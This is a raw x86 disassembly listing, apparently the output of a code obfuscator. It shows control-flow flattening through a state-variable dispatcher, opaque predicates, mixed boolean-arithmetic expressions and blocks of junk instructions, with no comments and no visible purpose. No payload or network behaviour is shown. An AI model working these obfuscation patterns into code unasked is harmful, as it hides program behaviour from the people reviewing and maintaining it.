and eax, 1
or esi, edx
xor ecx, 0x9441afa
xor esi, 0x35f738cc
or eax, esi
not eax
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xf0967926
and eax, 0x114d9844
mov edx, ecx
and edx, 0xf6986d9
or ecx, 0xce800182
or esi, edx
and ecx, 0xeea0679a
mov edx, esi
xor esi, 0xe000080
xor edx, 0x120020
or eax, ecx
or esi, 0x20206618
and edx, 0x120021
and esi, 0xeea0679a
or edx, esi
mov esi, 0xfc8e6142
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x47942509
and ecx, 0xb86bdaf6
or eax, ecx
cmp eax, 0x890624aa
sete al
cmp dword [0x492380], 0xa
setl cl
setge dl
mov ah, cl
xor ah, al
mov ch, ah
and cl, ah
and ch, al
xor al, dl
mov dh, ch
xor ch, cl
xor cl, 1
and al, dl
xor dh, 1
or al, ah
or cl, dh
mov edx, eax
xor cl, 1
xor dl, 1
or cl, ch
mov ch, cl
xor ch, 1
and dl, ch
or ch, al
and al, cl
or al, dl
mov edx, 0x126334b5
mov cl, al
xor cl, ch
test al, al
mov eax, 0x126334b5
jmp 0x40d8f7
mov eax, 0x52c4c347
jmp 0x402a30
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x232623de
and eax, 0xdcd9dc21
or ecx, eax
mov eax, ecx
xor eax, 0x21020182
xor ecx, 0xd4085401
and ecx, 0xd62c765d
and eax, 0x29d389a2
or eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0x100920
xor edx, 0xd62c765d
xor eax, 0x783b7f03
and eax, edx
and ecx, 0x421c0d28
and edx, 0xbde3f2d7
or edx, ecx
mov ecx, edx
mov esi, edx
xor ecx, 0xbde3f2d7
xor esi, 0xec0b0476
xor edx, 0x40400
and esi, ecx
or ecx, 1
and edx, 0xa904d494
or eax, esi
and ecx, 0x56fb2b6b
mov esi, eax
not esi
or ecx, edx
and eax, 0xae17095f
and esi, 0x51e8f6a0
xor ecx, 0x56fb2b6b
or eax, esi
mov esi, 0x8c9a5214
or ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0xcd74d9df
and eax, 0x328b2620
or eax, edx
xor eax, 0x328b2620
or eax, ecx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x492380], 0xa
setl dl
setge ah
and al, ah
and dl, cl
or ah, cl
or al, dl
xor al, 1
mov ecx, eax
or al, ah
xor cl, ah
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x6f2209c3
cmovne eax, esi
test cl, cl
mov ecx, 0x6f2209c3
cmove eax, esi
test dl, dl
cmove eax, ecx
jmp 0x402a30
mov eax, 0xcf408e0f
jmp 0x402a30
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax]
mov eax, ecx
mov esi, ecx
not eax
or esi, 0x40000000
and ecx, 0xc7e9713
mov edx, eax
mov edi, eax
or edx, 0x276954ea
and esi, 0x676954ea
and edi, 0x9896ab15
and eax, 0xf38168ec
or edi, esi
and edx, 0x676954ea
or eax, ecx
xor edx, edi
mov esi, edx
not esi
and edx, 0xf38168ec
mov edi, esi
and edi, 0xc7e9713
or edx, edi
xor eax, edx
xor esi, eax
test esi, eax
mov eax, dword [0x492384]
setne byte [ebp - 0x80]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov esi, edx
and esi, 0xc0663cf0
mov eax, ecx
and eax, 0x3f99c30e
and ecx, 0x4a0d72d8
or esi, eax
mov eax, edx
xor eax, 0xfffffffe
xor esi, 0xc0663cf0
and eax, edx
or eax, esi
mov esi, eax
not esi
and eax, 0x16c2d2a7
and esi, 0xe93d2d58
or eax, esi
mov esi, eax
xor esi, 0x2005280
xor eax, 0xe93d2d58
mov edi, eax
or eax, edx
and edx, 0xb5f28d27
and edi, 0xb5f28d27
and esi, 0x4a0d72d8
or esi, edi
or ecx, edx
not eax
xor ecx, esi
mov esi, 0x66b3684a
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x8e91dcc
and ecx, 0xf716e233
or eax, ecx
xor eax, 0x8e91dcc
sete dl
setne al
cmp dword [0x492380], 0xa
setl ah
mov cl, ah
xor al, ah
or cl, dl
xor al, 1
xor cl, 1
or cl, al
mov al, dl
xor al, ah
and dl, al
and al, ah
xor dl, 1
xor al, 1
mov ah, dl
xor ah, al
or al, dl
mov edx, ecx
xor al, 1
or al, ah
mov ah, al
and dl, al
xor ah, 1
mov ch, ah
xor ah, cl
xor cl, 1
or al, cl
and ch, cl
xor al, 1
or dl, ch
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xe9a26855
cmovne ecx, esi
test al, 1
mov eax, 0xe9a26855
jmp 0x402a24
cmp dword [ebp - 0x1a0], 0
mov eax, 0x6b4470b
mov ecx, 0x374f2e54
cmove eax, ecx
jmp 0x402a30
mov eax, dword [ebp - 0x50]
mov ecx, dword [0x492384]
mov eax, dword [eax]
mov dword [ebp - 0x15c], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xfffffffe
not edx
mov esi, edx
and ecx, eax
and esi, 0xfffffffe
and edx, 0x94b67431
and eax, 0x6b498bce
or ecx, esi
or eax, edx
mov edx, ecx
not edx
and ecx, 0x94a12531
mov esi, edx
and esi, 0x6b5edace
or ecx, esi
mov esi, eax
xor esi, 0x10100
xor eax, 0x165000
and eax, 0x6b5edace
and esi, 0x94a12531
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
mov esi, 0x2a19143e
sete cl
setne ah
cmp dword [0x492380], 0xa
setl al
setge dl
mov ch, al
and al, ah
and ah, dl
and ch, cl
and cl, dl
or ch, ah
or al, cl
mov ah, ch
xor al, 1
xor ah, dl
mov cl, al
mov edx, 0x5ab567ce
and ah, ch
xor cl, ah
xor ah, 1
or ah, al
mov al, cl
xor al, ah
test ah, ah
cmovne edx, esi
test cl, cl
not al
cmovne edx, esi
test al, 1
mov eax, 0x5ab567ce
cmove edx, eax
mov eax, edx
jmp 0x402a30
mov eax, dword [0x492384]
lea esi, [eax + 1]
imul esi, eax
mov eax, esi
not eax
and esi, 0x26441dee
and eax, 0xd9bbe211
or esi, eax
mov edx, esi
mov eax, esi
xor eax, 0xd9bbe211
xor esi, 0x90ad0bd5
xor edx, 0x26441dee
and esi, eax
mov ebx, edx
and ebx, 0x4e100
and edx, 0xe2e3209
mov ecx, esi
not ecx
and esi, 0x1264f738
mov edi, ecx
and edi, 0xed9b08c7
or esi, edi
mov edi, eax
or edi, 0xb6e9163b
or ecx, edi
and edi, 0xed9b08c7
or ebx, edi
not ecx
xor ebx, esi
or ecx, ebx
mov esi, ecx
not esi
and ecx, 0x49b931e0
and esi, 0xb646ce1f
or ecx, esi
mov esi, eax
and esi, 0xf1d1cdf6
and eax, 1
or esi, edx
xor ecx, 0xff5027da
xor esi, 0xe2e3208
or eax, esi
mov esi, 0x56be0cad
not eax
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xc8c64769
and ecx, 0x3739b896
or ecx, eax
xor ecx, 0xc8c64769
sete ah
setne ch
cmp dword [0x492380], 0xa
setge al
mov edx, eax
xor ah, al
or al, ch
xor dl, ch
xor al, 1
mov ch, ah
or al, dl
mov cl, dl
xor ch, al
or al, ah
xor cl, 1
xor al, 1
or al, ch
mov ah, al
not ah
and ah, cl
or cl, al
and al, dl
or al, ah
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x9e2d785c
cmovne edx, esi
test al, al
mov esi, 0x9e2d785c
jmp 0x40f7d1
movzx edx, byte [ebp - 0x71]
mov ch, byte [ebp - 0x72]
mov esi, 0x65c6a6fb
mov ah, dl
mov al, ch
xor ah, 1
xor al, 1
mov cl, ah
and cl, dl
xor cl, 1
mov dh, cl
or cl, dl
xor dh, dl
xor cl, 1
or cl, dh
mov dh, al
and dh, ch
xor dh, 1
or dh, ch
xor dh, 1
or dh, al
or al, ah
mov bl, dh
xor al, 1
xor cl, dh
xor dh, 1
and bl, dl
xor dl, ch
and dh, ah
or al, dl
mov dl, cl
xor al, 1
or al, bl
or al, dh
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xc9b88c3f
cmovne eax, esi
test dl, 1
mov edx, 0xc9b88c3f
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402a30
cmp byte [ebp - 0x7c], 0
mov eax, 0x94835da7
mov ecx, 0xe3c17eb6
cmovne eax, ecx
jmp 0x402a30
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xa4cd1ebb
and eax, 0x5b32e144
or ecx, eax
mov esi, ecx
mov eax, ecx
xor eax, 0x4b30e004
xor esi, 0xa4cd1ebb
xor ecx, 0x75ed57e0
and ecx, esi
and eax, 0xcf7ce02e
and esi, 0x30831fd1
or esi, eax
mov eax, esi
mov edi, esi
xor eax, 0x30831fd1
xor edi, 0x1e5ca975
xor esi, 0xcd1c4004
and edi, eax
and esi, 0xfd9e5614
mov edx, edi
not edx
and edi, 0x77eaf94c
mov ebx, edx
and ebx, 0x881506b3
or edi, ebx
mov ebx, ecx
not ebx
and ecx, 0x77eaf94c
or edx, ebx
and ebx, 0x881506b3
or ecx, ebx
not edx
xor ecx, edi
or edx, ecx
mov ecx, edx
not ecx
and edx, 0xd120495a
and ecx, 0x2edfb6a5
or edx, ecx
mov ecx, eax
and ecx, 0x261a9eb
and eax, 1
or ecx, esi
mov esi, ecx
xor esi, 0x151c5001
xor ecx, 0x261802a
or eax, esi
and ecx, 0xeae3863e
mov esi, 0xf3f9564f
and eax, 0x151c79c1
or eax, ecx
xor eax, 0x151c79c1
or eax, edx
xor eax, 0xffffffff
setne ah
sete cl
cmp dword [0x492380], 0xa
setge dl
setl ch
mov al, dl
or ah, ch
xor al, cl
xor cl, ch
and cl, ch
xor al, 1
xor cl, 1
or al, dl
mov ch, cl
or cl, ah
mov edx, eax
xor ch, ah
xor cl, 1
xor dl, 1
or cl, ch
mov ah, cl
and cl, al
xor ah, 1
or al, ah
and ah, dl
mov edx, 0xdb135ce2
or ah, cl
mov ecx, eax
xor cl, ah
test cl, 1
mov ecx, 0xf3f9564f
cmovne ecx, edx
test ah, 1
mov edx, ecx
cmovne edx, esi
jmp 0x412840
mov eax, dword [ebp - 0xb8]
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0xdca24a4e
and ecx, 0x235db5b1
or edx, ecx
xor edx, 0xdca24a4e
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and eax, 0xdfa6ebca
and edx, 0xfffffffe
and ecx, 0x20591435
or eax, ecx
xor eax, 0xdfa6ebcb
or eax, edx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x1fc83a0e
and edx, 0xe037c5f1
or edx, esi
mov esi, ecx
not esi
and ecx, 0xe037c5f1
or eax, esi
and esi, 0x1fc83a0e
or ecx, esi
not eax
mov esi, 0x6bdc6227
xor ecx, edx
or eax, ecx
setne dl
sete ah
cmp dword [0x492380], 0xa
mov dh, dl
setge al
setl ch
mov cl, al
or dh, ch
and al, ah
xor cl, dl
mov bl, dh
and dl, ch
and cl, ch
or ch, ah
or al, dl
xor cl, 1
xor ch, 1
xor bl, cl
or cl, dh
or al, ch
xor cl, 1
mov ah, al
or cl, bl
xor ah, 1
mov edx, ecx
xor dl, al
and al, cl
and dl, cl
xor cl, 1
and cl, ah
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xcd8e24ed
cmovne eax, esi
test dl, 1
mov edx, 0xcd8e24ed
jmp 0x40ff52
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ecx]
cmp dword [eax + ecx*4], 0
mov eax, 0xf8af914d
setne byte [ebp - 0x79]
jmp 0x402a30
mov eax, dword [ebp - 0xb8]
mov eax, 0x2cdfe408
jmp 0x402a30
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0xa9cb370b
and edx, ecx
not ecx
and ecx, 0xa9cb370b
or edx, ecx
mov eax, edx
not eax
and edx, 0x80c87035
and eax, 0x7f378fca
or edx, eax
mov esi, edx
mov eax, edx
xor esi, 0x2903473e
xor eax, 0xd6fcb8c1
mov ecx, edx
xor ecx, 0x12c8d6ad
xor edx, 0x2100041a
or esi, eax
or eax, 1
and edx, 0xb70c1c5a
and ecx, esi
and eax, 0x48f3e3a5
mov esi, ecx
not esi
and ecx, 0x3bcb9192
or eax, edx
and esi, 0xc4346e6d
or ecx, esi
mov edx, ecx
not edx
and ecx, 0xd741ab52
mov esi, edx
and esi, 0x28be54ad
or ecx, esi
mov esi, eax
xor esi, 0x4041a300
xor eax, 0xb70c1c5a
or edx, eax
and eax, 0x28be54ad
and esi, 0xd741ab52
or esi, eax
not edx
xor esi, ecx
or edx, esi
mov esi, 0x2a19143e
mov eax, edx
not eax
and edx, 0x8f1d346
and eax, 0xf70e2cb9
or edx, eax
xor edx, 0x8f1d346
sete dl
setne cl
cmp dword [0x492380], 0xa
setl ah
mov al, ah
xor cl, ah
or al, dl
xor cl, 1
xor al, 1
or al, cl
mov ecx, edx
xor cl, ah
and dl, cl
and cl, ah
xor dl, 1
xor cl, 1
mov ah, dl
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
and cl, al
xor al, 1
xor dl, 1
mov ah, al
xor ah, dl
and dl, al
or dl, cl
and ah, al
mov ecx, 0x2a19143e
mov al, dl
xor al, ah
test dl, 1
mov edx, 0xadf7a962
cmovne ecx, edx
test ah, ah
cmove ecx, esi
test al, 1
cmovne ecx, edx
mov eax, ecx
jmp 0x402a30
mov eax, dword [ebp - 0x160]
mov ecx, 0xb555cc50
cmp eax, dword [ebp - 0x164]
mov eax, 0x43821fc3
cmovl eax, ecx
jmp 0x402a30
mov eax, dword [ebp - 0x14]
mov eax, 0x4a00d14d
jmp 0x402a30
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x84945a16
and eax, 0x5a002
mov edx, ecx
and edx, 0x7b6ba5e9
or ecx, 0x35320414
or esi, edx
and ecx, 0x7ff20515
mov edx, esi
xor esi, 0x31220400
xor edx, 0x80005a00
or eax, ecx
or esi, 0x4ac00101
and edx, 0x80085ae8
and esi, 0x7ff20515
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xb53a5efc
and ecx, 0x4ac5a103
or eax, ecx
mov esi, eax
xor esi, 0xa6199650
andn edx, eax, esi
and esi, eax
mov ecx, edx
mov ebx, esi
not ecx
not ebx
and edx, 0x2c24b7cb
and esi, 0x2c24b7cb
mov edi, ecx
or ecx, ebx
and edi, 0xd3db4834
and ebx, 0xd3db4834
or edx, edi
or esi, ebx
not ecx
xor esi, edx
mov edx, eax
not edx
and eax, 0xb8be28df
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xa6199651
and esi, 0x59e669ae
or ecx, esi
mov esi, edx
and esi, 0x4741d720
and edx, 1
or esi, eax
xor esi, 0xb8be28de
or edx, esi
mov esi, 0x92a85df7
mov eax, edx
not eax
and edx, 0xa6237642
and eax, 0x59dc89bd
or edx, eax
xor edx, 0xa6237642
or edx, ecx
mov eax, edx
not eax
and edx, 0x29d647f0
and eax, 0xd629b80f
or eax, edx
mov ecx, eax
xor ecx, 0x52281803
xor eax, 0x21d447c0
and eax, 0xa5d5e7cc
and ecx, 0x5a2a1833
or ecx, eax
xor ecx, 0x5a2a1833
setne ah
sete dl
cmp dword [0x492380], 0xa
setl cl
setge ch
mov al, cl
and ch, dl
or dl, cl
xor cl, ah
and al, ah
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or al, ch
or cl, ah
mov ch, al
mov edx, ecx
mov ah, cl
xor ch, 1
not dl
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
mov cl, dl
xor dl, al
mov eax, 0xab19b027
xor cl, 1
or ch, cl
mov cl, ch
xor cl, dl
test dl, 1
mov edx, 0xab19b027
cmovne eax, esi
test ch, 1
jmp 0x410e51
or esi, 0x80
neg edi
inc esi
sub edx, 1
not ebx
bswap edi
dec edi
neg eax
not esi
imul eax
not edi
dec eax
or edx, 0xce
neg edx
not esi
imul eax
bswap edx
rol eax, 0xf9
dec eax
neg esi
bswap edx
dec ebx
neg eax
rol eax, 0x3f
and edi, 0x7c
rcr eax, 0xc
rcr edx, 3
and edx, 0x62
inc esi
neg esi
neg edi
sbb edi, 0xdc
rcr eax, 0x51
neg edi
not edx
sbb edx, 0xcc
inc ebx
not esi
sbb esi, 0x54
rol edi, 0x6b
dec edx
rcr esi, 0xd8
imul eax
and eax, 0x5e
not edi
not eax
sbb ebx, 0x74
sbb eax, 0xd3
imul eax
sub ebx, 0xd3
rcl edi, 0x50
neg eax
imul esi
sub eax, 0x76
add edx, 3
add edi, 0x14
inc edi
bswap esi
rcl edi, 0xc1
imul edx
rcr eax, 0x3a
dec edi
rcl edx, 0x30
not edx
inc esi
inc esi
not ebx
ror edx, 0xe9
rcr edx, 0x92
inc eax
rcl ebx, 0xbd
dec ebx
neg ebx
inc edi
rcr esi, 6
rcl esi, 0xec
sub esi, 0xb8
sbb ebx, 0x81
rcl esi, 0x34
rcr esi, 0x64
bswap eax
sbb esi, 0xfb
rol ebx, 0x5a
not esi
mov esi, 0xff
rcl esi, 0x18
rol esi, 0xcd
rol eax, 0x3b
inc esi
not ebx
rcl ebx, 0x35
rcr edi, 0x63
sub edi, 0xbe
imul edi
add eax, 0x89
inc edx
add eax, 0x5e
sub ebx, 0x48
sub edx, 0xa7
inc eax
ror eax, 0x76
ror ebx, 0x8f
mov esi, 0xca
rol edx, 0xd1
bswap edx
add edx, 0x7e
dec esi
dec eax
imul ebx
not edi
bswap ebx
add ebx, 0x64
neg esi
rol ebx, 0xf7
imul esi
dec edi
not edx
neg esi
and ebx, 0xa
not eax
neg esi
bswap esi
or edx, 0x36
inc edx
not eax
ror ebx, 0x55
rcr ebx, 0xc0
dec eax
neg esi
rcr eax, 0x25
sub edx, 0xea
bswap edi
neg edi
bswap eax
inc eax
sub esi, 0xcc
sub ebx, 0xd3
not edx
dec edi
dec eax
mov esi, 0x57
add edi, 0xb9
dec edx
ror eax, 0x10
bswap edx
mov edi, 0xb4
sbb edi, 0x32
rcl edi, 0x69
rol eax, 0x6b
inc edx
mov dword [ebp - 0x128], eax
mov eax, dword [0x492384]
mov esi, 0xc983cdd0
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
and eax, ecx
not ecx
mov edx, ecx
and edx, 0xfffffffe
or eax, edx
mov edx, eax
not edx
and eax, 0xc20de559
and edx, 0x3df21aa6
or eax, edx
xor eax, 0xc20de559
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x6dae2fe6
and ecx, 0x9251d019
or eax, ecx
xor eax, 0x6dae2fe6
setne ah
sete dl
cmp dword [0x492380], 0xa
setl ch
mov al, ch
or ah, ch
or al, dl
xor dl, ch
xor ah, 1
xor al, 1
or al, dl
and dl, ch
or dl, ah
mov ecx, eax
mov ch, dl
xor cl, 1
xor ch, 1
mov ah, ch
mov dh, ch
or ch, al
and ah, dl
xor dh, ah
xor ah, 1
or ah, dl
xor ah, 1
or ah, dh
mov edx, 0xd7329832
and cl, ah
xor ah, 1
and ah, al
mov al, ch
or ah, cl
xor al, ah
test al, 1
cmovne edx, esi
test ch, ch
mov ecx, 0xd7329832
cmovne ecx, edx
test ah, 1
jmp 0x412921
mov eax, dword [ebp - 0x2c]
mov eax, 0xac361729
jmp 0x402a30
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
or esi, 0x4008006
and ecx, 0x12117120
mov edx, eax
or edx, 0xe06c0c01
and esi, 0xe46c8c07
and eax, 0x98202d8
and edx, 0xe46c8c07
or eax, esi
or ecx, edx
xor ecx, eax
mov eax, ecx
not eax
and ecx, 0xe9ee0ed9
and eax, 0x1611f126
or ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0xbc728577
and ecx, 0x5b91d750
and eax, 0x438d7a88
or edx, eax
mov eax, edx
mov esi, edx
xor eax, 0xbc728577
xor esi, 0xe7e35227
xor edx, 0x41087a80
and esi, eax
and edx, 0x7578fff0
and eax, 0x8a87000e
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0xa46e28ae
xor eax, 0x8a87000e
and esi, 0x5b91d751
or ecx, esi
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x244a0088
and eax, 0xc0148043
mov edx, ecx
or edx, 0x11004400
and esi, 0x354a4488
and ecx, 0xaa13b34
and edx, 0x354a4488
or ecx, esi
mov esi, 0xe16aee9f
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x42b95096
and ecx, 0xbd46af69
or eax, ecx
mov ecx, eax
xor ecx, 0xb00
xor eax, 0xa6e7d05d
mov edx, eax
and edx, 0xdd1ea4ea
and ecx, 0x22e15b15
or ecx, edx
xor ecx, 0xdd1ea4ea
xor eax, ecx
test eax, ecx
sete ah
setne dl
cmp dword [0x492380], 0xa
setge ch
mov al, ch
xor al, dl
or dl, ch
or ch, ah
and al, ah
mov cl, dl
xor al, 1
xor cl, 1
mov ah, al
or al, ch
xor ah, ch
xor al, 1
or al, ah
mov ah, dl
and ah, al
xor al, 1
and cl, al
or al, dl
or cl, ah
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xa4969040
cmovne edx, esi
test al, 1
mov eax, 0xa4969040
jmp 0x410698
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x10
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0xe20205a0
and eax, 0x404d012
mov edx, ecx
or edx, 0x19300000
and esi, 0xfb3205a0
and ecx, 0xc92a4d
and edx, 0xfb3205a0
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x19f92a4d
and ecx, 0xe606d5b2
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xfffffffe
and eax, 1
or eax, edx
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x1c914026
and eax, 0x240a480
mov edx, ecx
and edx, 0xc12c1240
or ecx, 0x48010264
or esi, edx
and ecx, 0x68030b7d
mov edx, esi
xor edx, 0x14904002
xor esi, 0x60020b59
or eax, ecx
and esi, 0x68030b7d
and edx, 0x95bc5002
or edx, esi
mov esi, 0x6b8e70e
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xbee5b48e
and ecx, 0x411a4b71
or eax, ecx
xor eax, 0x6358e6e8
setne dl
sete al
cmp dword [0x492380], 0xa
mov dh, dl
setl ah
setge ch
mov cl, ah
xor dl, ch
and dh, ch
and cl, al
and dl, al
xor al, ah
and al, ah
xor dl, 1
or cl, dh
xor al, 1
mov ah, dl
xor cl, 1
xor ah, al
or al, dl
or cl, ch
xor al, 1
mov edx, ecx
or al, ah
xor al, 1
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0x57014312
cmovne eax, esi
test dl, 1
mov edx, 0x57014312
jmp 0x410e51
mov eax, dword [ebp - 0x20]
mov eax, 0xd7d696ec
jmp 0x402a30
push eax
push eax
mov eax, esp
mov dword [ebp - 0x30], eax
push eax
mov eax, esp
mov dword [ebp - 0x18], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
push eax
mov eax, esp
mov dword [ebp - 0x34], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c], eax
push eax
mov eax, esp
mov dword [ebp - 0x94], eax
push eax
mov eax, esp
mov dword [ebp - 0x50], eax
push eax
mov eax, esp
mov dword [ebp - 0x70], eax
push eax
mov eax, esp
mov dword [ebp - 0x98], eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
push eax
mov eax, esp
mov dword [ebp - 0x38], eax
push eax
mov eax, esp
mov dword [ebp - 0x5c], eax
push eax
mov eax, esp
mov dword [ebp - 0x54], eax
push eax
mov eax, esp
mov dword [ebp - 0x3c], eax
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
mov eax, esp
mov dword [ebp - 0x60], eax
push eax
mov eax, esp
mov dword [ebp - 0x64], eax
push eax
mov eax, esp
mov dword [ebp - 0x28], eax
push eax
mov eax, esp
mov dword [ebp - 0x8c], eax
push eax
mov eax, esp
mov dword [ebp - 0x40], eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
mov eax, esp
mov dword [ebp - 0x2c], eax
push eax
mov eax, esp
mov dword [ebp - 0x44], eax
push eax
mov eax, esp
mov dword [ebp - 0x20], eax
push eax
mov eax, esp
mov dword [ebp - 0x9c], eax
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
push eax
mov eax, esp
mov dword [ebp - 0xa0], eax
push eax
mov eax, esp
mov dword [ebp - 0x68], eax
sub esp, 0x78
mov eax, esp
mov dword [ebp - 0xa4], eax
push eax
mov eax, esp
mov dword [ebp - 0xa8], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x48]
mov dword [eax], ecx
sub edi, 0xc3
bswap edi
inc ebx
bswap eax
imul esi
add edx, 0x35
bswap ebx
rcl ebx, 0x8d
dec edx
mov edx, 0xb8
rcr eax, 0xc0
bswap esi
and edx, 0x73
not eax
not edi
inc edx
inc edi
imul eax
dec ebx
rol eax, 0xb9
rol esi, 0xf0
neg esi
rcr esi, 0x53
bswap edi
add edx, 0x29
mov esi, 0xbe
neg esi
imul ebx
ror esi, 0xeb
dec edx
or edi, 0xf1
or edx, 0x7b
and ebx, 0xdb
sub eax, 0x4d
add edx, 0x19
neg eax
add eax, 0xa4
imul edi
and eax, 0xc2
bswap edi
imul ebx
ror edi, 0x91
rol eax, 0xda
add ebx, 0
mov ebx, 7
sbb eax, 0x2e
mov ebx, 0x47
sbb esi, 0x81
sub ebx, 0x6c
ror edi, 0x68
dec edx
add eax, 0xa7
bswap ebx
rcl edi, 0x4b
inc esi
neg esi
and edi, 0xda
sbb edi, 0x3a
sub esi, 0x91
inc esi
rol ebx, 0x2e
sub edi, 0xea
inc eax
rcr edi, 0xf0
neg ebx
neg eax
not eax
inc edi
rcr ebx, 6
neg eax
not esi
mov edi, 0xee
neg ebx
or eax, 0x2a
bswap ebx
rol ebx, 0xf3
imul ebx
or edx, 0x82
inc esi
rcr edx, 0x41
and eax, 0x59
ror eax, 0x2e
sbb esi, 0x9c
ror edx, 2
not eax
neg edx
imul esi
mov eax, 0x6a
imul eax
bswap edi
mov edi, 0xd9
ror edx, 0xcc
imul edi
bswap esi
add edi, 0x46
dec edi
inc edi
neg esi
rol edi, 0xae
and edx, 0xec
rcl ebx, 0x31
imul esi
rcr eax, 0x7f
sbb ebx, 0x5a
bswap esi
add eax, 0xe3
and edx, 0xbb
dec esi
ror esi, 0x71
imul ebx
not edx
and edi, 0x87
imul edx
ror eax, 0xd5
neg esi
dec esi
rcl eax, 0x4b
mov edx, 0x74
not edi
sub eax, 0x4a
rcl edx, 0x16
sbb esi, 0x83
rcl eax, 0x97
sbb esi, 0xa
imul edx
not ebx
neg edi
rcl ebx, 0xf6
neg eax
neg eax
sbb edx, 0x35
rol ebx, 0xab
inc eax
rcr ebx, 0x5a
not esi
neg edx
dec eax
rcr edx, 0x28
rol edi, 0x8d
not edi
rcl edi, 0x7a
sbb edx, 0x39
ror eax, 0x85
sbb eax, 0x9a
neg eax
or eax, 0x54
ror eax, 0x24
dec esi
and edx, 0x21
sub eax, 0x37
neg eax
dec esi
and edi, 0x53
sub eax, 0x68
inc edx
ror ebx, 0xc1
not ebx
ror edx, 0xc6
mov edx, 0x49
rol ebx, 0x82
inc esi
not esi
bswap edi
imul esi
or edx, 0xac
add edx, 0xa
inc edx
neg esi
bswap ebx
sbb eax, 0xb6
mov eax, 0xa8
ror eax, 0xa0
not ebx
dec eax
add edi, 0xa0
not edx
imul edi
neg esi
imul eax
not edx
or esi, 0x19
and edi, 0x54
imul edx
rcr ebx, 0x6b
mov edi, 0x59
rcl eax, 0xa6
ror ebx, 0x39
inc edx
add eax, 0xbc
mov edx, 0xdb
rcr eax, 0x20
or esi, 0xa3
bswap esi
inc ebx
or eax, 0x15
and ebx, 0x1a
neg ebx
rol ebx, 0x90
add eax, 0x5a
add ebx, 0x19
not ebx
bswap edx
rol esi, 0x31
sub edi, 0xfd
sbb eax, 0xea
and eax, 0xf
ror esi, 0xe
ror eax, 1
bswap esi
bswap edi
mov edx, 0x5a
bswap edi
neg edx
not esi
rol edi, 0x45
mov edx, 0x81
sub edi, 0xc3
neg edi
bswap edx
or eax, 0xb7
rol eax, 0x49
mov ebx, 0xd1
neg edi
inc esi
ror eax, 0x2b
bswap edx
sub esi, 0x7a
ror esi, 0xcf
bswap esi
neg eax
neg eax
or edx, 0x64
sbb ebx, 0xc3
imul ebx
rol ebx, 0xb9
rol edi, 0x61
rol esi, 0xe3
dec esi
neg ebx
neg ebx
rol eax, 0xbe
neg eax
not esi
neg edx
rcr ebx, 0x6f
neg eax
add eax, 0x64
dec edx
sub edi, 0xc7
ror edx, 0x44
neg esi
and edx, 0xef
dec esi
imul eax
or ebx, 0xd
add edx, 0x54
neg ebx
or eax, 2
inc ebx
